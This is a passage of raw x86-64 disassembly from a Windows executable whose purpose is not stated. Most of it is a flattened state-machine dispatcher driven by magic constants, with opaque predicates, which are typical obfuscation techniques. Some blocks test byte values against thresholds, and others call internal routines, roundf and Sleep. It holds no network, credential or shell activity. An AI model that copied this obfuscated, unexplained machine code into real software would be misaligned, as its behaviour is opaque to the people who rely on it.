movzx r14d, byte [rcx + rax*4 + 1]
movzx edi, byte [rcx + rax*4 + 2]
cmp edi, 0x6e
setae byte [rbp + 0x200]
cmp edi, 0x69
setae r11b
mov ecx, edi
sub ecx, esi
mov r12d, esi
sub esi, r14d
cmp esi, 0x3c
setge r10b
mov r8d, edi
sub r8d, r14d
mov edx, ecx
neg edx
mov ebx, ecx
cmovge ebx, edx
cmp ebx, 0xe
mov ebx, 0x320b7ca8
mov eax, 0x9243edaa
cmovb ebx, eax
mov dword [rbp + 0xb0], ebx
mov ebx, dword [0x14083eef8]
lea eax, [rbx - 1]
imul eax, ebx
test al, 1
sete al
cmp dword [0x14083eefc], 0xa
setl bl
or bl, al
cmp esi, 0x32
setge al
and al, r11b
mov byte [rbp + 0xb8], al
mov esi, 0xa8ff937
mov eax, 0x4b411c83
cmovne esi, eax
mov dword [rbp + 0xbc], esi
cmp r8d, 0x5a
mov esi, 0x320b7ca8
mov eax, 0xb9971b53
cmovge esi, eax
mov dword [rbp + 0xc0], esi
mov esi, 0xa8ff937
mov eax, 0x129ce85e
cmovge esi, eax
mov dword [rbp + 0xc4], esi
lea eax, [rcx - 0x4f8510be]
sub eax, 0xb07aef42
cmovb eax, edx
mov dword [rbp + 0xc8], eax
cmp r14d, 0x78
mov r15d, 0xd14e77a5
mov eax, 0x582c8a14
cmovae r15d, eax
lea esi, [r14 - 0xf1]
cmp esi, 0xe
setb al
and al, r9b
mov byte [rbp + 0x227], al
lea esi, [r14 - 0x3d]
cmp esi, 0x1d
setb al
and al, r9b
mov byte [rbp + 0xcc], al
lea eax, [rdi - 0xf1]
mov dword [rbp + 0xd0], eax
add edi, 0xffffff23
cmp edi, 0x22
mov r13d, 0x879c1d07
mov eax, 0x355c5d0f
cmovb r13d, eax
test byte [rbp + 0x200], r10b
mov edi, 0x320b7ca8
mov eax, 0x4e81ebe6
cmovne edi, eax
mov dword [rbp + 0xd4], edi
mov edi, 0x48478b74
mov eax, 0x4fd68c8e
cmovne edi, eax
mov dword [rbp + 0xd8], edi
lea edi, [rcx - 0x694295a6]
sub edi, 0x96bd6a5a
cmovb edi, edx
cmp edi, 0xe
mov edi, 0x48478b74
mov eax, 0x3d95e98c
cmovl edi, eax
mov dword [rbp + 0xdc], edi
mov dword [rbp + 0xa8], r8d
cmp r8d, 0x3c
mov edi, 0x86af495c
mov eax, 0x9ff3b93c
cmovge edi, eax
mov dword [rbp + 0xe0], edi
add ecx, 0x9d0172d1
sub ecx, 0x9d0172d1
cmovb ecx, edx
cmp ecx, 9
mov ecx, 0x86af495c
mov eax, 0x6149549
cmovl ecx, eax
mov dword [rbp + 0xe4], ecx
test bl, bl
mov ecx, 0x9dc021d0
mov eax, 0xbbe089ed
cmovne ecx, eax
mov dword [rbp + 0xe8], ecx
mov ecx, 0x9dc021d0
mov eax, 0x3f8d69ad
cmovne ecx, eax
mov dword [rbp + 0xec], ecx
mov ecx, 0x63d0140a
mov eax, 0x93df7922
cmovne ecx, eax
mov dword [rbp + 0xf0], ecx
mov ecx, 0x63d0140a
mov eax, 0x51224ba6
cmovne ecx, eax
mov dword [rbp + 0xf4], ecx
mov ecx, 0x611bb2d0
mov eax, 0x1cd05ed2
cmovne ecx, eax
mov dword [rbp + 0xf8], ecx
mov ecx, 0x611bb2d0
mov eax, 0x313ad3bc
cmovne ecx, eax
mov dword [rbp + 0x200], ecx
mov ecx, 0xf61763f8
mov eax, 0xfb6edee4
cmovne ecx, eax
mov dword [rbp + 0xfc], ecx
mov ecx, 0xf61763f8
mov eax, 0x71a9dd7f
cmovne ecx, eax
mov dword [rbp + 0x1c4], ecx
mov ecx, 0x9c175cfc
mov eax, 0xfa4f8c99
cmovne ecx, eax
mov dword [rbp + 0x100], ecx
mov ecx, 0x9c175cfc
mov eax, 0x1c06d4b0
cmovne ecx, eax
mov dword [rbp + 0x104], ecx
mov ecx, 0x3a402c9b
mov eax, 0xe526da47
cmovne ecx, eax
mov dword [rbp + 0x108], ecx
mov ecx, 0x3a402c9b
mov eax, 0x27998977
cmovne ecx, eax
mov dword [rbp + 0x1c8], ecx
mov ecx, 0x4787549
mov eax, 0xc958e9b0
cmovne ecx, eax
mov dword [rbp + 0x10c], ecx
mov ecx, 0x4787549
mov eax, 0xb1904259
cmovne ecx, eax
mov edx, 0xf2292618
mov eax, 0xc0626a9b
cmovne edx, eax
mov dword [rbp + 0x110], edx
mov edx, 0xf2292618
mov eax, 0xdb82b6eb
cmovne edx, eax
mov dword [rbp + 0x114], edx
mov edx, 0xb46db045
mov eax, 0x9283015a
cmovne edx, eax
mov dword [rbp + 0x118], edx
mov edx, 0xb46db045
mov eax, 0x86c3ee96
cmovne edx, eax
mov dword [rbp + 0x11c], edx
mov edx, 0x4cfa81a7
mov eax, 0xcc7567e2
cmovne edx, eax
mov dword [rbp + 0x120], edx
mov edx, 0x4cfa81a7
mov eax, 0x11f9b7d2
cmovne edx, eax
mov dword [rbp + 0x124], edx
mov edx, 0x75106d6
mov eax, 0xe77fc525
cmovne edx, eax
mov dword [rbp + 0x128], edx
mov edx, 0x75106d6
mov eax, 0xb6fe18a9
cmovne edx, eax
mov dword [rbp + 0x1cc], edx
mov edx, 0xe873c9c3
mov eax, 0x560586c0
cmovne edx, eax
mov dword [rbp + 0x12c], edx
mov edx, 0xe873c9c3
mov eax, 0x5b80a5eb
cmovne edx, eax
mov dword [rbp + 0x130], edx
mov edx, 0x99c98808
mov eax, 0x1a8d1cc1
cmovne edx, eax
mov dword [rbp + 0x134], edx
mov edx, 0x99c98808
mov eax, 0xa29d94b6
cmovne edx, eax
mov dword [rbp + 0x1d0], edx
mov edx, 0xa4a0fd7f
mov eax, 0x7888bf87
cmovne edx, eax
mov dword [rbp + 0x138], edx
mov edx, 0xa4a0fd7f
mov eax, 0xbc6f6660
cmovne edx, eax
mov dword [rbp + 0x1d4], edx
mov edx, 0x9b01d9c
mov eax, 0xd6bba5ff
cmovne edx, eax
mov dword [rbp + 0x13c], edx
mov edx, 0x9b01d9c
mov eax, 0x5508568e
cmovne edx, eax
mov dword [rbp + 0x140], edx
mov qword [rbp + 0xa0], r14
cmp r14d, 0xbe
mov edx, 0x31730401
mov eax, 0xe02be98b
cmovae edx, eax
mov dword [rbp + 0x144], edx
mov edx, 0x7fbd2e16
mov eax, 0xa7452697
cmovae edx, eax
mov dword [rbp - 0x3c], edx
mov r9d, 0x8d72677d
jmp 0x1402b6c20
mov r9d, 0x37394ae0
xor edi, edi
nop dword [rax]
mov r14d, r9d
cmp r9d, 0x75106d5
jle 0x1402b6c90
cmp r14d, 0x3d95e98b
jle 0x1402b6d00
cmp r14d, 0x582c8a13
jg 0x1402b6ddb
cmp r14d, 0x4cfa81a6
jle 0x1402b6f2a
cmp r14d, 0x51224ba5
jg 0x1402b7164
cmp r14d, 0x4cfa81a7
je 0x1402b7493
cmp r14d, 0x4e81ebe6
je 0x1402b749e
mov r9d, r14d
cmp r14d, 0x4fd68c8e
jne 0x1402b6c20
mov r9d, dword [rbp + 0x124]
jmp 0x1402b6c20
cmp r14d, 0xc0626a9a
jle 0x1402b6d70
cmp r14d, 0xe77fc524
jg 0x1402b6e2b
cmp r14d, 0xd14e77a4
jle 0x1402b6f6d
cmp r14d, 0xdb82b6ea
jg 0x1402b71a0
cmp r14d, 0xd14e77a5
je 0x1402b74b3
cmp r14d, 0xd6bba5ff
je 0x1402b74c2
mov r9d, r14d
cmp r14d, 0xdb224399
jne 0x1402b6c20
xor ebx, ebx
mov r9d, dword [rbp + 0xdc]
jmp 0x1402b6c20
cmp r14d, 0x2600224c
jg 0x1402b6e84
cmp r14d, 0x11f9b7d1
jle 0x1402b6fb1
cmp r14d, 0x1c06d4af
jg 0x1402b71e2
cmp r14d, 0x11f9b7d2
je 0x1402b74dd
cmp r14d, 0x129ce85e
je 0x1402b74f1
mov r9d, r14d
cmp r14d, 0x1a8d1cc1
jne 0x1402b6c20
mov r9d, 0x86af495c
movzx edx, byte [rbp + 0x1bc]
jmp 0x1402b6c20
cmp r14d, 0x9ff3b93b
jle 0x1402b6ed7
cmp r14d, 0xb1904258
jle 0x1402b6ffb
cmp r14d, 0xb9971b52
jg 0x1402b721a
cmp r14d, 0xb1904259
je 0x1402b74ff
cmp r14d, 0xb46db045
je 0x1402b7512
mov r9d, r14d
cmp r14d, 0xb6fe18a9
jne 0x1402b6c20
cmp dword [rbp + 0xa8], 0x32
setge byte [rbp + 0x234]
mov r9d, dword [rbp + 0x128]
jmp 0x1402b6c20
cmp r14d, 0x63d01409
jle 0x1402b7040
cmp r14d, 0x7888bf86
jg 0x1402b725d
cmp r14d, 0x63d0140a
je 0x1402b751d
cmp r14d, 0x71a9dd7f
je 0x1402b7528
mov r9d, r14d
cmp r14d, 0x77b50b73
jne 0x1402b6c20
mov r9d, dword [rbp + 0x104]
jmp 0x1402b6c20
cmp r14d, 0xfa4f8c98
jle 0x1402b708c
cmp r14d, 0xfdfca998
jg 0x1402b7293
cmp r14d, 0xfa4f8c99
je 0x1402b7538
cmp r14d, 0xfb6edee4
je 0x1402b7556
mov r9d, r14d
cmp r14d, 0xfd938e58
jne 0x1402b6c20
mov r9d, 0x3083be0d
movzx eax, byte [rbp + 0x90]
mov r10d, eax
jmp 0x1402b6c20
cmp r14d, 0x31730400
jle 0x1402b70d1
cmp r14d, 0x36237960
jg 0x1402b72ce
mov r9d, r15d
cmp r14d, 0x31730401
je 0x1402b6c20
cmp r14d, 0x320b7ca8
je 0x1402b756e
mov r9d, r14d
cmp r14d, 0x355c5d0f
jne 0x1402b6c20
mov r9d, dword [rbp + 0x114]
jmp 0x1402b6c20
cmp r14d, 0x92830159
jg 0x1402b7122
cmp r14d, 0x879c1d06
jle 0x1402b72f3
cmp r14d, 0x879c1d07
je 0x1402b6c14
cmp r14d, 0x8d72677d
je 0x1402b757c
mov r9d, r14d
cmp r14d, 0x9243edaa
jne 0x1402b6c20
xor r11d, r11d
mov r9d, dword [rbp + 0xc0]
jmp 0x1402b6c20
cmp r14d, 0x40b2a2c9
jle 0x1402b7323
cmp r14d, 0x40b2a2ca
je 0x1402b6c14
cmp r14d, 0x48478b74
je 0x1402b7587
mov r9d, r14d
cmp r14d, 0x4b411c83
jne 0x1402b6c20
mov r9d, dword [rbp + 0xf4]
jmp 0x1402b6c20
cmp r14d, 0xc958e9af
jle 0x1402b7353
cmp r14d, 0xc958e9b0
je 0x1402b7594
cmp r14d, 0xcc7567e2
je 0x1402b75af
mov r9d, r14d
cmp r14d, 0xcdede5c0
jne 0x1402b6c20
xor edi, edi
mov r9d, 0x37394ae0
jmp 0x1402b6c20
cmp r14d, 0xa8ff936
jle 0x1402b7379
cmp r14d, 0xa8ff937
je 0x1402b75be
mov r9d, dword [rbp + 0x1d0]
cmp r14d, 0xb7fac70
je 0x1402b6c20
mov r9d, r14d
cmp r14d, 0xfc36538
jne 0x1402b6c20
mov r9d, dword [rbp + 0x144]
jmp 0x1402b6c20
cmp r14d, 0xa4a0fd7e
jle 0x1402b73a1
cmp r14d, 0xa4a0fd7f
je 0x1402b75d4
cmp r14d, 0xa7452697
je 0x1402b6c14
mov r9d, r14d
cmp r14d, 0xa7b8d955
jne 0x1402b6c20
xor esi, esi
mov r9d, dword [rbp + 0xc4]
jmp 0x1402b6c20
cmp r14d, 0x5cdc200a
jle 0x1402b73dc
mov r9d, ecx
cmp r14d, 0x5cdc200b
je 0x1402b6c20
mov r9d, dword [rbp + 0x1c8]
cmp r14d, 0x5dbfe70e
je 0x1402b6c20
mov r9d, r14d
cmp r14d, 0x611bb2d0
jne 0x1402b6c20
mov r9d, 0x313ad3bc
jmp 0x1402b6c20
cmp r14d, 0xf2292617
jle 0x1402b740c
cmp r14d, 0xf2292618
je 0x1402b75df
cmp r14d, 0xf61763f8
je 0x1402b75ea
mov r9d, r14d
cmp r14d, 0xf651beac
jne 0x1402b6c20
xor ebx, ebx
mov r9d, dword [rbp + 0xd8]
jmp 0x1402b6c20
cmp r14d, 0x27998976
jle 0x1402b7434
cmp r14d, 0x27998977
je 0x1402b75f5
cmp r14d, 0x3083be0d
je 0x1402b760c
mov r9d, r14d
cmp r14d, 0x313ad3bc
jne 0x1402b6c20
cmp dword [rbp + 0xc8], 9
setl byte [rbp + 0x228]
mov r9d, dword [rbp + 0xf8]
jmp 0x1402b6c20
cmp r14d, 0x99c98807
jle 0x1402b7464
cmp r14d, 0x99c98808
je 0x1402b761a
cmp r14d, 0x9c175cfc
je 0x1402b7625
mov r9d, r14d
cmp r14d, 0x9dc021d0
jne 0x1402b6c20
mov r9d, 0x3f8d69ad
jmp 0x1402b6c20
cmp r14d, 0x51224ba6
je 0x1402b7630
cmp r14d, 0x5508568e
je 0x1402b7647
mov r9d, r14d
cmp r14d, 0x560586c0
jne 0x1402b6c20
mov r9d, 0x37394ae0
movzx edi, byte [rbp + 0x210]
jmp 0x1402b6c20
cmp r14d, 0xdb82b6eb
je 0x1402b7661
cmp r14d, 0xe02be98b
je 0x1402b6c14
mov r9d, r14d
cmp r14d, 0xe526da47
jne 0x1402b6c20
cmp byte [rbp + 0x78], 0
mov r9d, 0x40b2a2ca
mov eax, 0x77b50b73
cmovne r9d, eax
jmp 0x1402b6c20
cmp r14d, 0x1c06d4b0
je 0x1402b767a
cmp r14d, 0x1cd05ed2
je 0x1402b7693
mov r9d, r14d
cmp r14d, 0x1f198b43
jne 0x1402b6c20
xor edx, edx
mov r9d, dword [rbp + 0xe4]
jmp 0x1402b6c20
cmp r14d, 0xb9971b53
je 0x1402b76b0
cmp r14d, 0xbbe089ed
je 0x1402b76bf
mov r9d, r14d
cmp r14d, 0xbc6f6660
jne 0x1402b6c20
movzx eax, byte [rbp + 0xb8]
mov byte [rbp + 0x1f4], al
mov r9d, dword [rbp + 0x138]
jmp 0x1402b6c20
cmp r14d, 0x7888bf87
je 0x1402b76d1
cmp r14d, 0x7e266115
je 0x1402b76ee
mov r9d, r14d
cmp r14d, 0x7fbd2e16
jne 0x1402b6c20
mov r9d, dword [rbp + 0x140]
jmp 0x1402b6c20
mov r9d, r13d
cmp r14d, 0xfdfca999
je 0x1402b6c20
cmp r14d, 0x4787549
je 0x1402b76fc
mov r9d, r14d
cmp r14d, 0x6149549
jne 0x1402b6c20
xor edx, edx
mov r9d, dword [rbp + 0xe0]
jmp 0x1402b6c20
cmp r14d, 0x36237961
je 0x1402b7707
cmp r14d, 0x3a402c9b
jne 0x1402b7793
mov r9d, 0x27998977
jmp 0x1402b6c20
cmp r14d, 0x86af495c
je 0x1402b771c
mov r9d, r14d
cmp r14d, 0x86c3ee96
jne 0x1402b6c20
mov byte [rbp + 0x160], 0
mov r9d, dword [rbp + 0x118]
jmp 0x1402b6c20
mov r9d, dword [rbp + 0x1cc]
cmp r14d, 0x3d95e98c
je 0x1402b6c20
mov r9d, r14d
cmp r14d, 0x3f8d69ad
jne 0x1402b6c20
mov r9d, dword [rbp + 0xe8]
jmp 0x1402b6c20
cmp r14d, 0xc0626a9b
je 0x1402b7732
mov r9d, r14d
cmp r14d, 0xc7564925
jne 0x1402b6c20
mov r9d, dword [rbp - 0x3c]
jmp 0x1402b6c20
cmp r14d, 0x75106d6
je 0x1402b7750
mov r9d, r14d
cmp r14d, 0x9b01d9c
jne 0x1402b6c20
mov r9d, 0x5508568e
jmp 0x1402b6c20
mov r9d, dword [rbp + 0x1d4]
cmp r14d, 0x9ff3b93c
je 0x1402b6c20
mov r9d, r14d
cmp r14d, 0xa29d94b6
jne 0x1402b6c20
cmp r12b, 0x69
setae byte [rbp + 0x1bc]
mov r9d, dword [rbp + 0x134]
jmp 0x1402b6c20
mov r9d, dword [rbp + 0x200]
cmp r14d, 0x582c8a14
je 0x1402b6c20
mov r9d, r14d
cmp r14d, 0x5b80a5eb
jne 0x1402b6c20
mov r9d, dword [rbp + 0x12c]
jmp 0x1402b6c20
cmp r14d, 0xe77fc525
je 0x1402b775b
mov r9d, r14d
cmp r14d, 0xe873c9c3
jne 0x1402b6c20
mov r9d, 0x5b80a5eb
jmp 0x1402b6c20
mov r9d, dword [rbp + 0x1c4]
cmp r14d, 0x2600224d
je 0x1402b6c20
mov r9d, r14d
cmp r14d, 0x273da506
jne 0x1402b6c20
mov r9d, dword [rbp + 0x11c]
jmp 0x1402b6c20
cmp r14d, 0x9283015a
je 0x1402b7778
mov r9d, r14d
cmp r14d, 0x93df7922
jne 0x1402b6c20
mov r9d, 0xa8ff937
movzx esi, byte [rbp + 0x238]
jmp 0x1402b6c20
mov r9d, 0x11f9b7d2
jmp 0x1402b6c20
movzx eax, byte [rbp + 0x88]
mov r11d, eax
mov r9d, 0x320b7ca8
jmp 0x1402b6c20
xor r11d, r11d
mov r9d, dword [rbp + 0xb0]
jmp 0x1402b6c20
cmp byte [rbp + 0x1f8], 0
mov r9d, 0xdb224399
mov eax, 0x1f198b43
cmovne r9d, eax
jmp 0x1402b6c20
cmp r12b, 0x64
setae byte [rbp + 0x58]
mov r9d, dword [rbp + 0x120]
jmp 0x1402b6c20
xor esi, esi
mov r9d, dword [rbp + 0xbc]
jmp 0x1402b6c20
mov byte [rbp + 0x150], 0
mov r9d, dword [rbp + 0x10c]
jmp 0x1402b6c20
mov r9d, 0x86c3ee96
jmp 0x1402b6c20
mov r9d, 0x51224ba6
jmp 0x1402b6c20
mov byte [rbp + 0x70], 0
mov r9d, dword [rbp + 0xfc]
jmp 0x1402b6c20
cmp byte [rbp + 0x148], 0
mov r9d, 0x3083be0d
mov eax, 0xfd938e58
cmovne r9d, eax
xor r10d, r10d
jmp 0x1402b6c20
cmp byte [rbp + 0x70], 0
mov r9d, 0xcdede5c0
mov eax, 0xfc36538
cmovne r9d, eax
jmp 0x1402b6c20
mov edi, r11d
mov r9d, 0x37394ae0
jmp 0x1402b6c20
mov r9d, 0xc7564925
jmp 0x1402b6c20
mov r9d, 0x37394ae0
mov edi, ebx
jmp 0x1402b6c20
cmp byte [rbp + 0x150], 0
mov r9d, 0x2600224d
mov eax, 0x5dbfe70e
cmovne r9d, eax
jmp 0x1402b6c20
mov r9d, 0x48478b74
movzx ebx, byte [rbp + 0x58]
jmp 0x1402b6c20
mov eax, esi
and al, 1
mov byte [rbp + 0x190], al
mov r9d, dword [rbp + 0xec]
jmp 0x1402b6c20
mov r9d, 0xbc6f6660
jmp 0x1402b6c20
mov r9d, 0xdb82b6eb
jmp 0x1402b6c20
mov r9d, 0x71a9dd7f
jmp 0x1402b6c20
cmp dword [rbp + 0xd0], 0xe
setb byte [rbp + 0x78]
mov r9d, dword [rbp + 0x108]
jmp 0x1402b6c20
mov r9d, 0x37394ae0
mov edi, r10d
jmp 0x1402b6c20
mov r9d, 0xa29d94b6
jmp 0x1402b6c20
mov r9d, 0x1c06d4b0
jmp 0x1402b6c20
cmp r12b, 0x69
setae byte [rbp + 0x238]
mov r9d, dword [rbp + 0xf0]
jmp 0x1402b6c20
cmp byte [rbp + 0xa0], 0x78
setae byte [rbp + 0x1f8]
mov r9d, dword [rbp + 0x13c]
jmp 0x1402b6c20
movzx eax, byte [rbp + 0xcc]
mov byte [rbp + 0x158], al
mov r9d, dword [rbp + 0x110]
jmp 0x1402b6c20
movzx eax, byte [rbp + 0x227]
mov byte [rbp + 0x148], al
mov r9d, dword [rbp + 0x100]
jmp 0x1402b6c20
cmp byte [rbp + 0x228], 0
mov r9d, 0xa8ff937
mov eax, 0xa7b8d955
cmovne r9d, eax
xor esi, esi
jmp 0x1402b6c20
xor r11d, r11d
mov r9d, dword [rbp + 0xd4]
jmp 0x1402b6c20
movzx edi, byte [rbp + 0x190]
mov r9d, 0x37394ae0
jmp 0x1402b6c20
cmp byte [rbp + 0x1f4], 0
mov r9d, 0x86af495c
mov eax, 0xb7fac70
cmovne r9d, eax
xor edx, edx
jmp 0x1402b6c20
mov r9d, 0x37394ae0
mov edi, r8d
jmp 0x1402b6c20
mov r9d, 0xb1904259
jmp 0x1402b6c20
mov r9d, 0x7e266115
movzx eax, byte [rbp + 0x98]
mov r8d, eax
jmp 0x1402b6c20
mov eax, edx
and al, 1
mov byte [rbp + 0x210], al
mov r9d, dword [rbp + 0x130]
jmp 0x1402b6c20
cmp byte [rbp + 0x158], 0
mov r9d, 0x7e266115
mov eax, 0x36237961
cmovne r9d, eax
xor r8d, r8d
jmp 0x1402b6c20
mov r9d, 0xb6fe18a9
jmp 0x1402b6c20
cmp byte [rbp + 0x234], 0
mov r9d, 0x48478b74
mov eax, 0xf651beac
cmovne r9d, eax
xor ebx, ebx
jmp 0x1402b6c20
cmp byte [rbp + 0x160], 0
mov r9d, 0x5cdc200b
mov eax, 0xfdfca999
cmovne r9d, eax
jmp 0x1402b6c20
mov r9d, r14d
cmp r14d, 0x37394ae0
jne 0x1402b6c20
test dil, 1
mov eax, 0x979f093b
mov ecx, 0x92349cfc
cmovne eax, ecx
jmp 0x1402b3ded
cmp eax, 0xffae8e7d
je 0x1402bbc59
cmp eax, 0xffcdbb12
jne 0x1402b3ded
mov edx, dword [rbp + 0x1d8]
mov r8d, dword [rbp + 0x168]
sub rsp, 0x20
lea rsi, [0x14083d938]
mov rcx, rsi
call fcn.1402b1e70
mov rcx, rsi
call fcn.1402b1fc0
add rsp, 0x20
xor r8d, r8d
sub r8d, dword [rbp + 0x168]
xor edx, edx
sub edx, dword [rbp + 0x1d8]
sub rsp, 0x20
mov rcx, rsi
call fcn.1402b1e70
add rsp, 0x20
mov byte [0x14083da11], 1
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7c160b8
mov ecx, 0xd1a68b79
jmp 0x1402b3de0
cmp eax, 0x54fdb679
je 0x1402bbc63
cmp eax, 0x55edcb44
jne 0x1402b3ded
mov dword [0x14083dfc4], 2
mov eax, 0x4c4728
jmp 0x1402b3ded
cmp eax, 0x88ec0199
je 0x1402bbc81
cmp eax, 0x89c8270e
jne 0x1402b3ded
mov eax, 0xef79023
jmp 0x1402b3ded
cmp eax, 0x72bcbce
je 0x1402bbcba
cmp eax, 0x825cae7
jne 0x1402b3ded
cmp byte [0x14083df93], 0
setne byte [rbp + 0x175]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x868ecbec
mov ecx, 0xc04c5810
jmp 0x1402b3de0
cmp eax, 0xcac80d3d
je 0x1402bbcc8
cmp eax, 0xcad525b5
jne 0x1402b3ded
mov eax, dword [rbp + 0x64]
add eax, 1
mov dword [rbp + 0x28], eax
mov al, byte [rbp + 0x20e]
mov qword [rbp - 0x28], rax
mov eax, 0x47b299de
jmp 0x1402b3ded
cmp eax, 0x645bd39d
je 0x1402bbce6
cmp eax, 0x6554db57
jne 0x1402b3ded
mov eax, dword [rbp + 0x6c]
cmp eax, 2
mov eax, 0x182b21db
mov ecx, 0x2aa833f2
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0xaf4eb900
je 0x1402bbd14
cmp eax, 0xb07405a2
jne 0x1402b3ded
mov rax, qword [rbp + 0x80]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, [0x14083dce8]
call fcn.1402b00a0
add rsp, 0x20
movss xmm0, dword [0x14083dce8]
mov eax, dword [0x14083eed0]
mov edi, dword [0x14083eed4]
lea ebx, [rax - 1]
imul ebx, eax
sub rsp, 0x20
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
add rsp, 0x20
test bl, 1
sete byte [rbp + 0x238]
mov esi, 0xa59062ab
mov eax, 0x4b4142e5
cmove esi, eax
cmp edi, 0xa
setl byte [rbp + 0x210]
cmovl esi, eax
mov eax, 0xd5e09d55
nop word cs:[rax + rax]
nop dword [rax]
cmp eax, 0x4b4142e4
jg 0x1402b7a00
cmp eax, 0xa59062ab
je 0x1402b7a16
cmp eax, 0xd5e09d55
jne 0x1402b79c0
movzx ecx, byte [rbp + 0x238]
cmp byte [rbp + 0x210], 0
mov eax, 0xa59062ab
mov edx, 0x6a6efff6
cmovne eax, edx
test cl, cl
cmovne eax, edx
jmp 0x1402b79c0
cmp eax, 0x4b4142e5
je 0x1402bbd3d
cmp eax, 0x6a6efff6
jne 0x1402b79c0
mov eax, esi
jmp 0x1402b79c0
mov eax, 0x6a6efff6
jmp 0x1402b79c0
cmp eax, 0x2582fbae
je 0x1402bbded
cmp eax, 0x25c12326
jne 0x1402b3ded
mov eax, dword [rbp + 0x40]
add eax, 1
mov dword [rbp + 0x14], eax
mov al, byte [rbp + 0x20d]
mov dword [rbp + 0x54], eax
mov eax, 0x46b54578
jmp 0x1402b3ded
cmp eax, 0xe6e624e1
je 0x1402bbe03
cmp eax, 0xe6f6a1c0
jne 0x1402b3ded
mov al, byte [rbp + 0x20d]
jmp 0x1402bbdf3
cmp eax, 0x45048a16
je 0x1402bbe0d
cmp eax, 0x4510dd7b
jne 0x1402b3ded
mov eax, 0x7ecc72a7
jmp 0x1402b3ded
cmp eax, 0x9840d110
je 0x1402bbe26
cmp eax, 0x990da708
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb641d24f
mov ecx, 0xb07405a2
jmp 0x1402b3de0
cmp eax, 0x147d2036
je 0x1402bbe44
cmp eax, 0x15011726
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb7c160b8
mov ecx, 0xffcdbb12
jmp 0x1402b3de0
cmp eax, 0xdca38d04
je 0x1402bbe62
cmp eax, 0xdd5b3598
jne 0x1402b3ded
mov eax, dword [rbp + 0x184]
cmp eax, 4
mov eax, 0x41aed59d
mov ecx, 0x7dd60251
cmovl eax, ecx
jmp 0x1402b3ded
cmp eax, 0x744233b0
je 0x1402bbe83
cmp eax, 0x76a21988
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x41173c44
mov ecx, 0x10eee3ef
jmp 0x1402b3de0
cmp eax, 0xb84d6b44
je 0x1402bbe93
cmp eax, 0xbd4d0f8f
jne 0x1402b3ded
cmp byte [0x14083df92], 0
mov eax, 0x2ad4b176
mov ecx, 0x5d2ba13d
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0x380e2436
je 0x1402bbeab
cmp eax, 0x39227698
jne 0x1402b3ded
mov dword [rbp + 0x4c], 0
mov eax, 0x6f91de98
jmp 0x1402b3ded
cmp eax, 0xfe6c135f
je 0x1402bbebc
cmp eax, 0xfe927361
jne 0x1402b3ded
mov dword [0x14083dfc4], 6
mov eax, 0x4c4728
jmp 0x1402b3ded
cmp eax, 0x5f279edf
je 0x1402bbeda
cmp eax, 0x607c83cc
jne 0x1402b3ded
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9fa77499
mov ecx, 0x36ea6d4e
jmp 0x1402b3de0
cmp eax, 0x92349cfc
je 0x1402bbef8
cmp eax, 0x94206491
jne 0x1402b3ded
mov eax, 0xdd8f6a7f
jmp 0x1402b3ded
cmp eax, 0xd0d6642
je 0x1402bbf57
cmp eax, 0xe890fcd
jne 0x1402b3ded
mov eax, dword [0x14083df9c]
mov dword [rbp + 0x6c], eax
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x98977e0
mov ecx, 0xfecd7835
jmp 0x1402b3de0
cmp eax, 0xd1a68b79
je 0x1402bbf74
cmp eax, 0xd303b146
jne 0x1402b3ded
mov al, byte [rbp + 0x1f0]
mov byte [rbp + 0x20f], al
test byte [rbp + 0x20f], 1
mov eax, 0xc7880d86
mov ecx, 0xe11ce2e2
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0x6e6a7736
je 0x1402bbf7e
cmp eax, 0x6f87fad7
jne 0x1402b3ded
mov dword [0x14083dfc8], 0x12
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x679c182d
mov ecx, 0x42055e35
jmp 0x1402b3de0
cmp eax, 0xb597cf66
je 0x1402bbf9c
cmp eax, 0xb59b286e
jne 0x1402b3ded
mov dword [0x14082e750], 0xffffffff
mov eax, 0xe1f298a3
jmp 0x1402b3ded
cmp eax, 0x3098ecdb
je 0x1402bbfa6
cmp eax, 0x314c6de8
jne 0x1402b3ded
mov rax, qword [rbp - 0x80]
mov rax, qword [rbp - 0x78]
mov eax, dword [0x14083eee8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x632c889f
mov ecx, 0xdf84e053
jmp 0x1402b3de0
cmp eax, 0xef0c5803
je 0x1402bbfbf
cmp eax, 0xf0931e23
jne 0x1402b3ded
mov eax, dword [rbp + 0x3c]
add eax, 4
mov dword [rbp + 0xc], eax
mov al, byte [rbp + 0x1df]
mov byte [rbp + 0x1eb], al
mov eax, 0x974bf501
jmp 0x1402b3ded
cmp eax, 0x4b51f4c9
je 0x1402bbfc9
cmp eax, 0x4ce2c5d3
jne 0x1402b3ded
test byte [rbp + 0x1ec], 1
mov eax, 0x634d8e22
mov ecx, 0x9840d110
cmove eax, ecx
jmp 0x1402b3ded
cmp eax, 0xa2c25f1a
je 0x1402bbfdf
cmp eax, 0xa37d078c
jne 0x1402b3ded
mov eax, dword [0x14083dfd4]
lea ecx, [rax + rax*2]
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14083d938]
call fcn.1402b1fc0
add rsp, 0x20
mov eax, 0x314c6de8
jmp 0x1402b3ded
cmp eax, 0x1ada2c2f
je 0x1402bbffd
cmp eax, 0x1e37305f
jne 0x1402b3ded
mov dword [0x14083dfc4], 0x12
mov eax, 0x4c4728
